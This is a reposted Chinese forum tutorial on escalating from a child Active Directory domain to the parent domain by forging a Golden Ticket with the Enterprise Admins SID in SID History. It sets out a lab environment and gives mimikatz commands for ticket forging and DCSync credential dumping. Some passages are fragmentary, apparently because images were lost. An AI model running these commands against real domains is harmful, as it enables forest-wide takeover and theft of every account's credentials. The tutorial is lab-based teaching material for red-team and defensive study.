搜索

[1123] 2020-09-25_【域渗透】同一域树下的提权利用方式

文档创建者：s7ckTeam
浏览次数：11
最后更新：2025-01-16
2020-09-25_【域渗透】同一域树下的提权利用方式 【 域 渗 透 】 同 一 域 树 下 的 提 权 利 用 方 式 原 创   遗 忘   C h a B u g   2 0 2 0 - 0 9 - 2 5 一 、 S I D   介 绍 域 内 每 个 用 户 帐 号 都 有 一 个 关 联 的 安 全 标 识 符 （ 简 称   S I D ） ， S I D   用 于 跟 踪 安 全 主 体 在 访 问 资   源 时 的 帐 户 与 访 问 权 限 。 为 了 支 持   A D   迁 移 ， 微 软 设 计 了   S I D   H i s t o r y   属 性 ， S I D   H i s t o r y   允 许 另 一 个 帐 户 的 访 问 被 有 效 的 克 隆 到 另 一 个 帐 户 。 二   、 需 求 介 绍 对 同 一 个 域 树 中 的 父 子 域 来 说 ， 如 果 获 得 子 域 中 的 高 权 限 用 户 ， 就 可 以 修 改 将 该 用 户 的   S I D   赋 予 企 业 管 理 员 权 限 （ E n t e r p r i s e   A d m i n s ） 域 内 只 认   s i d   不 认 用 户 名 ， 这 样 对 于 父 域 来 说 该 用 户 也 是 高 权 限 用 户 ， 实 战 中 如 果 存 在 多 个 域 的 话 ， 拿 下 子 域   x a . r e d t e a m . c o m   的 域 控 权 限 ， 即 可 以 利 用 该 方 法 在 父 域 提 权 。 三 、 黄 金 票 据 局 限 性 普 通 的 金 票 不 能 够 跨 域 使 用 ， 金 票 的 权 限 被 限 制 在 当 前 域 内 ， 根 域 和 其 他 域 的 最 大 的 区 别 就   是 根 域 对 整 个 域 林 都 有 控 制 权 。 而 域 正 是 根 据   E n t e r p r i s e   A d m i n s   组 来 实 现 这 样 的 权 限 划 分 。 在 一 个 多 域   A D   森 林 中 ， 如 果 创 建 的   G o l d e n   T i c k e t   域 不 包 含   E n t e r p r i s e   A d m i n s   组 ， 则   G o l d e n   T i c k e t   不 会 向 林 中 的 其 他 域 提 供 管 理 权 限 。 在 单 个 域   A c t i v e   D i r e c t o r y   林 中 ，   由 于   E n t e r p r i s e   A d m i n s   组 驻 留 在 此 域 中 ， 这 时 创 建   G o l d e n   T i c k e t   不 存 在 局 限 性 。 E n t e r p r i s e   A d m i n s   组 是 域 中 用 户 的 一 个 组 ， 只 存 在 于 一 个 林 中 的 根 域 中 ， 这 个 组 的 成 员 ，   这 里 也 就 是   r e d t e a m . c o m   中 的   A d m i n i s t r a t o r   用 户 （ 不 是 本 地 的   A d m i n i s t r a t o r ， 是 域 中   的   A d m i n i s t r a t o r ） 对 域 有 完 全 管 理 控 制 权 。
四 、 实 验 环 境 介 绍 1 .   父 域 : r e d t e a m . c o m   域 控 : d c . r e d t e a m . c o m （ 1 9 2 . 1 6 8 . 3 7 . 1 5 3 ） 2 .   子 域 : x a . r e d t e a m . c o m   域 控 : b l u e . x a . r e d t e a m . c o m （ 1 9 2 . 1 6 8 . 3 7 . 1 3 0 ） 需 要 信 息 子 域 的     和     和 父 域     子 域   s i d ： 如 果 是 直 接 在 子 域 域 控 操 作 可 以 通 过     得 到 （ s i d （ d o m a i n   a d m i n K r b t g t   h a s h s i d （ E n t e r p r i s e   A d m i n s ） w h o a m i   / u s e r
） 或 者   子 域   k r b t g t   h a s h : 父 域   s i d ： 五 、 测 试   S I D   H I S T O R Y + G O L D E N   T I C K E T k l i s t   p u r g e   删 除 当 前 保 存 的   K e r b e r o s   票 据 子 域 中 直 接 访 问 父 域 是 无 法 访 问 的 m i m i k a t z . e x e   p r i v i l e g e : : d e b u g   " k e r b e r o s : : g o l d e n   / u s e r : A d m i n i s t r a t o r   / k r b t g t : 子 域   K r b t g t   h a s h   / d o m a i n : x a . r e d t e a m . c o m   / s i d : 子 域 的   s i d （ d o m a i n   a d m i n ）   / s i d s : 父 域   s i d   （ E n t e r p r i s e   A d m i n s ）   / p t t "   e x i t d o m i a n   a d m i n u s e r 2 s i d   子 域   i p   " X A D o m a i n   A d m i n s " m i m i k a t z . e x e   p r i v i l e g e : : d e b u g   " l s a d u m p : : d c s y n c   / d o m a i n : x a . r e d t e a m . c o m   / a l l   / c s v "   e x i t u s e r 2 s i d   父 域   i p   " R E D T E A M E n t e r p r i s e   A d m i n s "


此 时 已 经 成 功 访 问 了 父 域 此 时 的 这 个 票 据 票 是 拥 有 整 个 域 林 的 控 制 权 的 。 六 、 参 考 链 接 h t t p s : / / g i t h u b . c o m / D a n i e l R T e i x e i r a / A c a d e m y / b l o b / 5 f b 9 4 4 4 4 b d b a 4 2 0 1 f 3 e a 8 e 5 6 2 d 7 9 2 7 0 5 e 6 0 4 3 e e 5 / L a b / T o o l s / U s e r S I D . z i p   h t t p s : / / w w w . c n b l o g s . c o m / z p c h c b d / p / 1 2 2 1 5 6 4 6 . h t m l   h t t p s : / / w w w . a n q u a n k e . c o m / p o s t / i d / 1 7 2 9 0 0 ? d i s p l a y = m o b i l e & p l a t f o r m = i O S
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理